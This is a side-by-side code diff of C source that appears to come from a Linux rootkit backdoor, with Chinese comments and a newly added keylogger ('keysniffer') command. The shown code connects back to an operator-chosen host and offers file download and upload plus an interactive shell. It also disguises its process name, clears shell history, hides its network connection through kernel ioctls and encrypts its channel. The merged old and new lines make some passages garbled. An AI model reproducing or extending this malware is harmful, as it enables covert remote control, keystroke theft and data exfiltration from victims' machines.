do_encrypt(data + strlen(token) + 1, crypt_len, KEY);
// 计算数据长度
// printf("data size: %d\n", len); len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3;
crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2;
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) { data = (char*)malloc(len);
tcp(srcip, dstip, srcport, dstport, data, len);
} else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) { // 检查内存分配
icmp(srcip, dstip, data, len); if (!data)
} else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) { fatal("malloc");
udp(srcip, dstip, srcport, dstport, data, len);
} // 初始化数据
bzero(data, len);
free(data); snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port);
return EXIT_SUCCESS; do_encrypt(data + strlen(token) + 1, crypt_len, KEY); // 加密数据
// 根据协议发送数据包
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
tcp(srcip, dstip, srcport, dstport, data, len);
}
else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
icmp(srcip, dstip, data, len);
}
else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
udp(srcip, dstip, srcport, dstport, data, len);
}
// 释放内存
free(data);
return EXIT_SUCCESS; // 返回成功
} }

@ -190,6 +190,27 @@ int main(int argc, char **argv)
} }
} }
}*/ }*/
if (strcmp(argv[1], "keysniffer") == 0) {
if (argc < 3)
goto fail;
if (strcmp(argv[2], "start") == 0) {
args.cmd = 6; // 假设6是启动keysniffer的命令
} else if (strcmp(argv[2], "stop") == 0) {
args.cmd = 7; // 假设7是停止keysniffer的命令
} else {
goto fail;
}
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}
fail: // fail标签打印失败信息并关闭套接字 fail: // fail标签打印失败信息并关闭套接字
printf("\e[01;31mFailed!\e[00m\n"); printf("\e[01;31mFailed!\e[00m\n");
out: // out标签关闭套接字并返回0表示程序结束 out: // out标签关闭套接字并返回0表示程序结束

@ -15,7 +15,7 @@
#include "config.h" #include "config.h"
#include "pel.h" #include "pel.h"
#define ERROR -1 #define ERROR -1
unsigned char message[BUFSIZE + 1]; unsigned char message[BUFSIZE + 1];
extern char *optarg; extern char *optarg;
@ -23,224 +23,239 @@ char *rcfile;
#ifndef _REPTILE_ #ifndef _REPTILE_
// 打印使用说明
void usage(char *argv0) void usage(char *argv0)
{ {
fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0); fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n"); fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n");
} }
#endif #endif
// 获取文件
int get_file(int client) int get_file(int client)
{ {
int ret, len, fd; int ret, len, fd;
ret = pel_recv_msg(client, message, &len); // 接收文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (message[0] == OUT) if (message[0] == OUT)
return 1; return 1;
message[len] = '\0'; message[len] = '\0';
fd = open((char *)message, O_RDONLY); // 打开文件
fd = open((char *)message, O_RDONLY);
if (fd < 0) if (fd < 0)
return (ERROR); return (ERROR);
while (1) { // 读取文件内容并发送
len = read(fd, message, BUFSIZE); while (1) {
len = read(fd, message, BUFSIZE);
if (len == 0) if (len == 0)
break; break;
if (len < 0) if (len < 0)
return (ERROR); return (ERROR);
ret = pel_send_msg(client, message, len); ret = pel_send_msg(client, message, len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
} }
return 0; return 0;
} }
// 上传文件
int put_file(int client) int put_file(int client)
{ {
int ret, len, fd; int ret, len, fd;
ret = pel_recv_msg(client, message, &len); // 接收文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (message[0] == OUT) if (message[0] == OUT)
return (ERROR); return (ERROR);
message[len] = '\0'; message[len] = '\0';
fd = creat((char *)message, 0644); fd = creat((char *)message, 0644);
if (fd < 0) if (fd < 0)
return (ERROR); return (ERROR);
while (1) { // 接收文件内容并写入
ret = pel_recv_msg(client, message, &len); while (1) {
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) if (strncmp((char *)message, EXIT, EXIT_LEN) == 0)
break; break;
if (write(fd, message, len) != len) if (write(fd, message, len) != len)
return (ERROR); return (ERROR);
} }
return 0; return 0;
} }
// 运行 shell
int runshell(int client) int runshell(int client)
{ {
fd_set rd; fd_set rd;
struct winsize ws; struct winsize ws;
char *slave, *temp, *shell; char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n; int ret, len, pid, pty, tty, n;
if (openpty(&pty, &tty, NULL, NULL, NULL) < 0) // 打开伪终端
return (ERROR); if (openpty(&pty, &tty, NULL, NULL, NULL) < 0)
return (ERROR);
slave = ttyname(tty); slave = ttyname(tty);
if (slave == NULL) if (slave == NULL)
return (ERROR); return (ERROR);
chdir(HOMEDIR); chdir(HOMEDIR);
putenv("HISTFILE="); putenv("HISTFILE=");
ret = pel_recv_msg(client, message, &len); // 接收终端类型
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
message[len] = '\0'; message[len] = '\0';
setenv("TERM", (char *)message, 1); setenv("TERM", (char *)message, 1);
ret = pel_recv_msg(client, message, &len); // 接收窗口大小
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS || len != 4) if (ret != PEL_SUCCESS || len != 4)
return (ERROR); return (ERROR);
ws.ws_row = ((int)message[0] << 8) + (int)message[1]; ws.ws_row = ((int)message[0] << 8) + (int)message[1];
ws.ws_col = ((int)message[2] << 8) + (int)message[3]; ws.ws_col = ((int)message[2] << 8) + (int)message[3];
ws.ws_xpixel = 0; ws.ws_xpixel = 0;
ws.ws_ypixel = 0; ws.ws_ypixel = 0;
if (ioctl(pty, TIOCSWINSZ, &ws) < 0) if (ioctl(pty, TIOCSWINSZ, &ws) < 0)
return (ERROR); return (ERROR);
ret = pel_recv_msg(client, message, &len); // 接收命令
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (len == 1 && message[0] == RUNSHELL) { if (len == 1 && message[0] == RUNSHELL) {
temp = (char *)malloc(20 + strlen(rcfile)); temp = (char *)malloc(20 + strlen(rcfile));
if (temp == NULL) if (temp == NULL)
return (ERROR); return (ERROR);
strcpy(temp, "exec bash --rcfile "); strcpy(temp, "exec bash --rcfile ");
strcat(temp, rcfile); strcat(temp, rcfile);
} else { } else {
message[len] = '\0'; message[len] = '\0';
temp = (char *)malloc(len + 1); temp = (char *)malloc(len + 1);
if (temp == NULL) if (temp == NULL)
return (ERROR); return (ERROR);
strncpy(temp, (char *)message, len + 1); strncpy(temp, (char *)message, len + 1);
} }
pid = fork(); // 创建子进程
pid = fork();
if (pid < 0) { if (pid < 0) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
if (pid == 0) { if (pid == 0) {
close(client); close(client);
close(pty); close(pty);
if (setsid() < 0) { if (setsid() < 0) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
if (ioctl(tty, TIOCSCTTY, NULL) < 0) { if (ioctl(tty, TIOCSCTTY, NULL) < 0) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
dup2(tty, 0); dup2(tty, 0);
dup2(tty, 1); dup2(tty, 1);
dup2(tty, 2); dup2(tty, 2);
if (tty > 2) if (tty > 2)
close(tty); close(tty);
shell = (char *)malloc(10); shell = (char *)malloc(10);
if (shell == NULL) { if (shell == NULL) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
strcpy(shell, "/bin/bash"); strcpy(shell, "/bin/bash");
execl(shell, shell + 5, "-c", temp, (char *)0); execl(shell, shell + 5, "-c", temp, (char *)0);
free(temp); free(temp);
free(shell); free(shell);
return 0; return 0;
} else { } else {
close(tty); close(tty);
while (1) { // 处理数据传输
FD_ZERO(&rd); while (1) {
FD_SET(client, &rd); FD_ZERO(&rd);
FD_SET(pty, &rd); FD_SET(client, &rd);
FD_SET(pty, &rd);
n = (pty > client) ? pty : client; n = (pty > client) ? pty : client;
if (select(n + 1, &rd, NULL, NULL, NULL) < 0) if (select(n + 1, &rd, NULL, NULL, NULL) < 0)
return (ERROR); return (ERROR);
if (FD_ISSET(client, &rd)) { if (FD_ISSET(client, &rd)) {
ret = pel_recv_msg(client, message, &len); ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (write(pty, message, len) != len) if (write(pty, message, len) != len)
return (ERROR); return (ERROR);
} }
if (FD_ISSET(pty, &rd)) { if (FD_ISSET(pty, &rd)) {
len = read(pty, message, BUFSIZE); len = read(pty, message, BUFSIZE);
if (len == 0) if (len == 0)
break; break;
if (len < 0) if (len < 0)
return (ERROR); return (ERROR);
ret = pel_send_msg(client, message, len); ret = pel_send_msg(client, message, len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
} }
} }
return 0; return 0;
} }
} }
#ifdef _REPTILE_ #ifdef _REPTILE_
@ -249,247 +264,265 @@ int runshell(int client)
#define UNHIDE 0 #define UNHIDE 0
struct control { struct control {
unsigned short cmd; unsigned short cmd;
void *argv; void *argv;
}; };
// 隐藏连接
void hide_conn(struct sockaddr_in addr, int hide) void hide_conn(struct sockaddr_in addr, int hide)
{ {
struct control args; struct control args;
int sockioctl = socket(AF_INET, SOCK_STREAM, 6); int sockioctl = socket(AF_INET, SOCK_STREAM, 6);
if (sockioctl < 0) if (sockioctl < 0)
exit(1); exit(1);
if (hide) { if (hide) {
args.cmd = 4; args.cmd = 4;
} else { } else {
args.cmd = 5; args.cmd = 5;
} }
args.argv = &addr; args.argv = &addr;
if (ioctl(sockioctl, AUTH, HTUA) == 0) { if (ioctl(sockioctl, AUTH, HTUA) == 0) {
if (ioctl(sockioctl, AUTH, &args) == 0) if (ioctl(sockioctl, AUTH, &args) == 0)
ioctl(sockioctl, AUTH, HTUA); ioctl(sockioctl, AUTH, HTUA);
} }
close(sockioctl); close(sockioctl);
} }
#endif #endif
// 构建 rcfile 路径
int build_rcfile_path(void) int build_rcfile_path(void)
{ {
char *name = NAME; char *name = NAME;
int len = 6 + strlen(name) + strlen(name); int len = 6 + strlen(name) + strlen(name);
rcfile = (char *)malloc(len); rcfile = (char *)malloc(len);
if (rcfile == NULL) if (rcfile == NULL)
return -1; return -1;
snprintf(rcfile, len, "/%s/%s_rc", name, name); snprintf(rcfile, len, "/%s/%s_rc", name, name);
return 0; return 0;
} }
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
int ret, len, pid, opt, client, arg0_len, delay = 0; int ret, len, pid, opt, client, arg0_len, delay = 0;
short int connect_back_port = 0; short int connect_back_port = 0;
char *connect_back_host = NULL; char *connect_back_host = NULL;
char *secret = NULL; char *secret = NULL;
struct sockaddr_in client_addr; struct sockaddr_in client_addr;
struct hostent *client_host; struct hostent *client_host;
socklen_t n; socklen_t n;
while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) { // 解析命令行参数
switch (opt) { while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) {
case 't': switch (opt) {
connect_back_host = strdup(optarg); case 't':
break; connect_back_host = strdup(optarg);
case 'p': break;
connect_back_port = atoi(optarg); case 'p':
if (!connect_back_port) { connect_back_port = atoi(optarg);
if (!connect_back_port) {
#ifndef _REPTILE_ #ifndef _REPTILE_
usage(*argv); usage(*argv);
#endif #endif
goto out; goto out;
} }
break; break;
case 's': case 's':
secret = strdup(optarg); secret = strdup(optarg);
break; break;
case 'r': case 'r':
delay = atoi(optarg); delay = atoi(optarg);
break; break;
default: default:
#ifndef _REPTILE_ #ifndef _REPTILE_
usage(*argv); usage(*argv);
#endif #endif
exit(1); exit(1);
break; break;
} }
} }
if (connect_back_host == NULL || connect_back_port == 0 || if (connect_back_host == NULL || connect_back_port == 0 ||
secret == NULL) { secret == NULL) {
#ifndef _REPTILE_ #ifndef _REPTILE_
usage(*argv); usage(*argv);
#endif #endif
goto out; goto out;
} }
arg0_len = strlen(argv[0]); // 隐藏进程名称
bzero(argv[0], arg0_len); arg0_len = strlen(argv[0]);
bzero(argv[0], arg0_len);
if (arg0_len >= 7) if (arg0_len >= 7)
strcpy(argv[0], "[ata/0]"); strcpy(argv[0], "[ata/0]");
if(argv[1]) if(argv[1])
bzero(argv[1], strlen(argv[1])); bzero(argv[1], strlen(argv[1]));
if(argv[2]) if(argv[2])
bzero(argv[2], strlen(argv[2])); bzero(argv[2], strlen(argv[2]));
if(argv[3]) if(argv[3])
bzero(argv[3], strlen(argv[3])); bzero(argv[3], strlen(argv[3]));
if(argv[4]) if(argv[4])
bzero(argv[4], strlen(argv[4])); bzero(argv[4], strlen(argv[4]));
if(argv[5]) if(argv[5])
bzero(argv[5], strlen(argv[5])); bzero(argv[5], strlen(argv[5]));
if(argv[6]) if(argv[6])
bzero(argv[6], strlen(argv[6])); bzero(argv[6], strlen(argv[6]));
if(argv[7]) if(argv[7])
bzero(argv[7], strlen(argv[7])); bzero(argv[7], strlen(argv[7]));
if(argv[8]) if(argv[8])
bzero(argv[8], strlen(argv[8])); bzero(argv[8], strlen(argv[8]));
if (build_rcfile_path()) if (build_rcfile_path())
goto out; goto out;
pid = fork(); // 创建子进程
pid = fork();
if (pid < 0) if (pid < 0)
return (ERROR); return (ERROR);
if (pid != 0) if (pid != 0)
return 0; return 0;
if (setsid() < 0) if (setsid() < 0)
return (ERROR); return (ERROR);
for (n = 0; n < 1024; n++) for (n = 0; n < 1024; n++)
close(n); close(n);
do { do {
if (delay > 0) if (delay > 0)
sleep(delay); sleep(delay);
client = socket(PF_INET, SOCK_STREAM, 0); client = socket(PF_INET, SOCK_STREAM, 0);
if (client < 0) if (client < 0)
continue; continue;
client_host = gethostbyname(connect_back_host); client_host = gethostbyname(connect_back_host);
if (client_host == NULL) if (client_host == NULL)
continue; continue;
memcpy((void *)&client_addr.sin_addr, memcpy((void *)&client_addr.sin_addr,
(void *)client_host->h_addr, client_host->h_length); (void *)client_host->h_addr, client_host->h_length);
client_addr.sin_family = AF_INET; client_addr.sin_family = AF_INET;
client_addr.sin_port = htons(connect_back_port); client_addr.sin_port = htons(connect_back_port);
ret = connect(client, (struct sockaddr *)&client_addr, ret = connect(client, (struct sockaddr *)&client_addr,
sizeof(client_addr)); sizeof(client_addr));
if (ret < 0) { if (ret < 0) {
close(client); close(client);
continue; continue;
} }
#ifdef _REPTILE_ #ifdef _REPTILE_
hide_conn(client_addr, HIDE); hide_conn(client_addr, HIDE);
#endif #endif
ret = pel_server_init(client, secret); ret = pel_server_init(client, secret);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
shutdown(client, 2); shutdown(client, 2);
#ifdef _REPTILE_ #ifdef _REPTILE_
hide_conn(client_addr, UNHIDE); hide_conn(client_addr, UNHIDE);
#endif #endif
continue; continue;
} }
connect: connect:
ret = pel_recv_msg(client, message, &len); ret = pel_recv_msg(client, message, &len);
if (ret == PEL_SUCCESS || len == 1) { if (ret == PEL_SUCCESS || len == 1) {
if (strcmp((char *)message, EXIT) == 0) if (strcmp((char *)message, EXIT) == 0)
goto end; goto end;
switch (message[0]) { switch (message[0]) {
case GET_FILE: case GET_FILE:
ret = get_file(client); ret = get_file(client);
if (ret) if (ret)
goto connect; goto connect;
if (pel_send_msg(client, (unsigned char *)EXIT, if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS) EXIT_LEN) != PEL_SUCCESS)
goto end; goto end;
goto connect; goto connect;
case PUT_FILE: case PUT_FILE:
put_file(client); put_file(client);
goto connect; goto connect;
case RUNSHELL: case RUNSHELL:
runshell(client); runshell(client);
if (pel_send_msg(client, (unsigned char *)EXIT, if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS) EXIT_LEN) != PEL_SUCCESS)
goto end; goto end;
goto connect; goto connect;
case SET_DELAY: case SET_DELAY:
if (pel_recv_msg(client, message, &len) != if (pel_recv_msg(client, message, &len) !=
PEL_SUCCESS) PEL_SUCCESS)
goto end; goto end;
if (message[0] == 5) if (message[0] == 5)
goto connect; goto connect;
message[len] = '\0'; message[len] = '\0';
delay = atoi((char *)message); delay = atoi((char *)message);
goto connect; goto connect;
default: case 'K': // 添加 keysniffer 命令处理
break; if (pel_recv_msg(client, message, &len) != PEL_SUCCESS)
} goto end;
} if (strcmp((char *)message, "start") == 0) {
end: start_keysniffer();
shutdown(client, 2); }
else if (strcmp((char *)message, "stop") == 0) {
stop_keysniffer();
}
if (pel_send_msg(client, (unsigned char *)EXIT, EXIT_LEN) != PEL_SUCCESS)
goto end;
goto connect;
default:
break;
}
}
end:
shutdown(client, 2);
#ifdef _REPTILE_ #ifdef _REPTILE_
hide_conn(client_addr, UNHIDE); hide_conn(client_addr, UNHIDE);
#endif #endif
} while (delay > 0); } while (delay > 0);
out: out:
if (connect_back_host) if (connect_back_host)
free(connect_back_host); free(connect_back_host);
if (secret) if (secret)
free(secret); free(secret);
return 0; return 0;
} }

@ -14,42 +14,42 @@
#include "pel.h" #include "pel.h"
#include "sha1.h" #include "sha1.h"
/* global data */ /* 全局数据 */
int pel_errno; int pel_errno;
struct pel_context { struct pel_context {
/* AES-CBC-128 variables */ /* AES-CBC-128 变量 */
struct aes_context SK; /* Rijndael session key */ struct aes_context SK; /* Rijndael 会话密钥 */
unsigned char LCT[16]; /* last ciphertext block */ unsigned char LCT[16]; /* 最后一个密文块 */
/* HMAC-SHA1 variables */ /* HMAC-SHA1 变量 */
unsigned char k_ipad[64]; /* inner padding */ unsigned char k_ipad[64]; /* 内部填充 */
unsigned char k_opad[64]; /* outer padding */ unsigned char k_opad[64]; /* 外部填充 */
unsigned long int p_cntr; /* packet counter */ unsigned long int p_cntr; /* 数据包计数器 */
}; };
struct pel_context send_ctx; /* to encrypt outgoing data */ struct pel_context send_ctx; /* 用于加密传出数据 */
struct pel_context recv_ctx; /* to decrypt incoming data */ struct pel_context recv_ctx; /* 用于解密传入数据 */
unsigned char challenge[16] = /* version-specific */ unsigned char challenge[16] = /* 版本特定 */
"\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" "\x58\x90\xAE\x86\xF1\xB9\x1C\xF6"
"\x29\x83\x95\x71\x1D\xDE\x58\x0D"; "\x29\x83\x95\x71\x1D\xDE\x58\x0D";
unsigned char buffer[BUFSIZE + 16 + 20]; unsigned char buffer[BUFSIZE + 16 + 20];
/* function declaration */ /* 函数声明 */
void pel_setup_context(struct pel_context *pel_ctx, char *key, void pel_setup_context(struct pel_context *pel_ctx, char *key,
unsigned char IV[20]); unsigned char IV[20]);
int pel_send_all(int s, void *buf, size_t len, int flags); int pel_send_all(int s, void *buf, size_t len, int flags);
int pel_recv_all(int s, void *buf, size_t len, int flags); int pel_recv_all(int s, void *buf, size_t len, int flags);
/* session setup - client side */ /* 会话初始化 - 客户端 */
int pel_client_init(int server, char *key) int pel_client_init(int server, char *key)
{ {
@ -58,7 +58,7 @@ int pel_client_init(int server, char *key)
struct sha1_context sha1_ctx; struct sha1_context sha1_ctx;
unsigned char IV1[20], IV2[20]; unsigned char IV1[20], IV2[20];
/* generate both initialization vectors */ /* 生成两个初始化向量 */
pid = getpid(); pid = getpid();
@ -90,26 +90,26 @@ int pel_client_init(int server, char *key)
memcpy(IV2, &buffer[20], 20); memcpy(IV2, &buffer[20], 20);
/* and pass them to the server */ /* 将它们传递给服务器 */
ret = pel_send_all(server, buffer, 40, 0); ret = pel_send_all(server, buffer, 40, 0);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (PEL_FAILURE); return (PEL_FAILURE);
/* setup the session keys */ /* 设置会话密钥 */
pel_setup_context(&send_ctx, key, IV1); pel_setup_context(&send_ctx, key, IV1);
pel_setup_context(&recv_ctx, key, IV2); pel_setup_context(&recv_ctx, key, IV2);
/* handshake - encrypt and send the client's challenge */ /* 握手 - 加密并发送客户端的挑战 */
ret = pel_send_msg(server, challenge, 16); ret = pel_send_msg(server, challenge, 16);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (PEL_FAILURE); return (PEL_FAILURE);
/* handshake - decrypt and verify the server's challenge */ /* 握手 - 解密并验证服务器的挑战 */
ret = pel_recv_msg(server, buffer, &len); ret = pel_recv_msg(server, buffer, &len);
@ -127,14 +127,14 @@ int pel_client_init(int server, char *key)
return (PEL_SUCCESS); return (PEL_SUCCESS);
} }
/* session setup - server side */ /* 会话初始化 - 服务器 */
int pel_server_init(int client, char *key) int pel_server_init(int client, char *key)
{ {
int ret, len; int ret, len;
unsigned char IV1[20], IV2[20]; unsigned char IV1[20], IV2[20];
/* get the IVs from the client */ /* 从客户端获取 IVs */
ret = pel_recv_all(client, buffer, 40, 0); ret = pel_recv_all(client, buffer, 40, 0);
@ -144,12 +144,12 @@ int pel_server_init(int client, char *key)
memcpy(IV2, &buffer[0], 20); memcpy(IV2, &buffer[0], 20);
memcpy(IV1, &buffer[20], 20); memcpy(IV1, &buffer[20], 20);
/* setup the session keys */ /* 设置会话密钥 */
pel_setup_context(&send_ctx, key, IV1); pel_setup_context(&send_ctx, key, IV1);
pel_setup_context(&recv_ctx, key, IV2); pel_setup_context(&recv_ctx, key, IV2);
/* handshake - decrypt and verify the client's challenge */ /* 握手 - 解密并验证客户端的挑战 */
ret = pel_recv_msg(client, buffer, &len); ret = pel_recv_msg(client, buffer, &len);
@ -162,7 +162,7 @@ int pel_server_init(int client, char *key)
return (PEL_FAILURE); return (PEL_FAILURE);
} }
/* handshake - encrypt and send the server's challenge */ /* 握手 - 加密并发送服务器的挑战 */
ret = pel_send_msg(client, challenge, 16); ret = pel_send_msg(client, challenge, 16);
@ -174,10 +174,10 @@ int pel_server_init(int client, char *key)
return (PEL_SUCCESS); return (PEL_SUCCESS);
} }
/* this routine computes the AES & HMAC session keys */ /* 该例程计算 AES 和 HMAC 会话密钥 */
void pel_setup_context(struct pel_context *pel_ctx, char *key, void pel_setup_context(struct pel_context *pel_ctx, char *key,
unsigned char IV[20]) unsigned char IV[20])
{ {
int i; int i;
struct sha1_context sha1_ctx; struct sha1_context sha1_ctx;
@ -202,7 +202,7 @@ void pel_setup_context(struct pel_context *pel_ctx, char *key,
pel_ctx->p_cntr = 0; pel_ctx->p_cntr = 0;
} }
/* encrypt and transmit a message */ /* 加密并传输消息 */
int pel_send_msg(int sockfd, unsigned char *msg, int length) int pel_send_msg(int sockfd, unsigned char *msg, int length)
{ {
@ -210,7 +210,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
struct sha1_context sha1_ctx; struct sha1_context sha1_ctx;
int i, j, ret, blk_len; int i, j, ret, blk_len;
/* verify the message length */ /* 验证消息长度 */
if (length <= 0 || length > BUFSIZE) { if (length <= 0 || length > BUFSIZE) {
pel_errno = PEL_BAD_MSG_LENGTH; pel_errno = PEL_BAD_MSG_LENGTH;
@ -218,16 +218,16 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
return (PEL_FAILURE); return (PEL_FAILURE);
} }
/* write the message length at start of buffer */ /* 将消息长度写入缓冲区开始位置 */
buffer[0] = (length >> 8) & 0xFF; buffer[0] = (length >> 8) & 0xFF;
buffer[1] = (length)&0xFF; buffer[1] = (length)&0xFF;
/* append the message content */ /* 追加消息内容 */
memcpy(buffer + 2, msg, length); memcpy(buffer + 2, msg, length);
/* round up to AES block length (16 bytes) */ /* 向上取整到 AES 块长度 (16 字节) */
blk_len = 2 + length; blk_len = 2 + length;
@ -235,7 +235,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
blk_len += 16 - (blk_len & 0x0F); blk_len += 16 - (blk_len & 0x0F);
} }
/* encrypt the buffer with AES-CBC-128 */ /* 使用 AES-CBC-128 加密缓冲区 */
for (i = 0; i < blk_len; i += 16) { for (i = 0; i < blk_len; i += 16) {
for (j = 0; j < 16; j++) { for (j = 0; j < 16; j++) {
@ -247,7 +247,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
memcpy(send_ctx.LCT, &buffer[i], 16); memcpy(send_ctx.LCT, &buffer[i], 16);
} }
/* compute the HMAC-SHA1 of the ciphertext */ /* 计算密文的 HMAC-SHA1 */
buffer[blk_len] = (send_ctx.p_cntr << 24) & 0xFF; buffer[blk_len] = (send_ctx.p_cntr << 24) & 0xFF;
buffer[blk_len + 1] = (send_ctx.p_cntr << 16) & 0xFF; buffer[blk_len + 1] = (send_ctx.p_cntr << 16) & 0xFF;
@ -264,11 +264,11 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
sha1_update(&sha1_ctx, digest, 20); sha1_update(&sha1_ctx, digest, 20);
sha1_finish(&sha1_ctx, &buffer[blk_len]); sha1_finish(&sha1_ctx, &buffer[blk_len]);
/* increment the packet counter */ /* 增加数据包计数器 */
send_ctx.p_cntr++; send_ctx.p_cntr++;
/* transmit ciphertext and message authentication code */ /* 传输密文和消息认证码 */
ret = pel_send_all(sockfd, buffer, blk_len + 20, 0); ret = pel_send_all(sockfd, buffer, blk_len + 20, 0);
@ -280,7 +280,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
return (PEL_SUCCESS); return (PEL_SUCCESS);
} }
/* receive and decrypt a message */ /* 接收并解密消息 */
int pel_recv_msg(int sockfd, unsigned char *msg, int *length) int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
{ {
@ -290,14 +290,14 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
struct sha1_context sha1_ctx; struct sha1_context sha1_ctx;
int i, j, ret, blk_len; int i, j, ret, blk_len;
/* receive the first encrypted block */ /* 接收第一个加密块 */
ret = pel_recv_all(sockfd, buffer, 16, 0); ret = pel_recv_all(sockfd, buffer, 16, 0);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (PEL_FAILURE); return (PEL_FAILURE);
/* decrypt this block and extract the message length */ /* 解密该块并提取消息长度 */
memcpy(temp, buffer, 16); memcpy(temp, buffer, 16);
@ -309,11 +309,11 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
*length = (((int)buffer[0]) << 8) + (int)buffer[1]; *length = (((int)buffer[0]) << 8) + (int)buffer[1];
/* restore the ciphertext */ /* 恢复密文 */
memcpy(buffer, temp, 16); memcpy(buffer, temp, 16);
/* verify the message length */ /* 验证消息长度 */
if (*length <= 0 || *length > BUFSIZE) { if (*length <= 0 || *length > BUFSIZE) {
pel_errno = PEL_BAD_MSG_LENGTH; pel_errno = PEL_BAD_MSG_LENGTH;
@ -321,7 +321,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_FAILURE); return (PEL_FAILURE);
} }
/* round up to AES block length (16 bytes) */ /* 向上取整到 AES 块长度 (16 字节) */
blk_len = 2 + *length; blk_len = 2 + *length;
@ -329,7 +329,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
blk_len += 16 - (blk_len & 0x0F); blk_len += 16 - (blk_len & 0x0F);
} }
/* receive the remaining ciphertext and the mac */ /* 接收剩余的密文和 mac */
ret = pel_recv_all(sockfd, &buffer[16], blk_len - 16 + 20, 0); ret = pel_recv_all(sockfd, &buffer[16], blk_len - 16 + 20, 0);
@ -338,7 +338,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
memcpy(hmac, &buffer[blk_len], 20); memcpy(hmac, &buffer[blk_len], 20);
/* verify the ciphertext integrity */ /* 验证密文完整性 */
buffer[blk_len] = (recv_ctx.p_cntr << 24) & 0xFF; buffer[blk_len] = (recv_ctx.p_cntr << 24) & 0xFF;
buffer[blk_len + 1] = (recv_ctx.p_cntr << 16) & 0xFF; buffer[blk_len + 1] = (recv_ctx.p_cntr << 16) & 0xFF;
@ -361,11 +361,11 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_FAILURE); return (PEL_FAILURE);
} }
/* increment the packet counter */ /* 增加数据包计数器 */
recv_ctx.p_cntr++; recv_ctx.p_cntr++;
/* finally, decrypt and copy the message */ /* 最后,解密并复制消息 */
for (i = 0; i < blk_len; i += 16) { for (i = 0; i < blk_len; i += 16) {
memcpy(temp, &buffer[i], 16); memcpy(temp, &buffer[i], 16);
@ -386,7 +386,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_SUCCESS); return (PEL_SUCCESS);
} }
/* send/recv wrappers to handle fragmented TCP packets */ /* 发送/接收包装器以处理分段的 TCP 数据包 */
int pel_send_all(int s, void *buf, size_t len, int flags) int pel_send_all(int s, void *buf, size_t len, int flags)
{ {

Loading…
Cancel
Save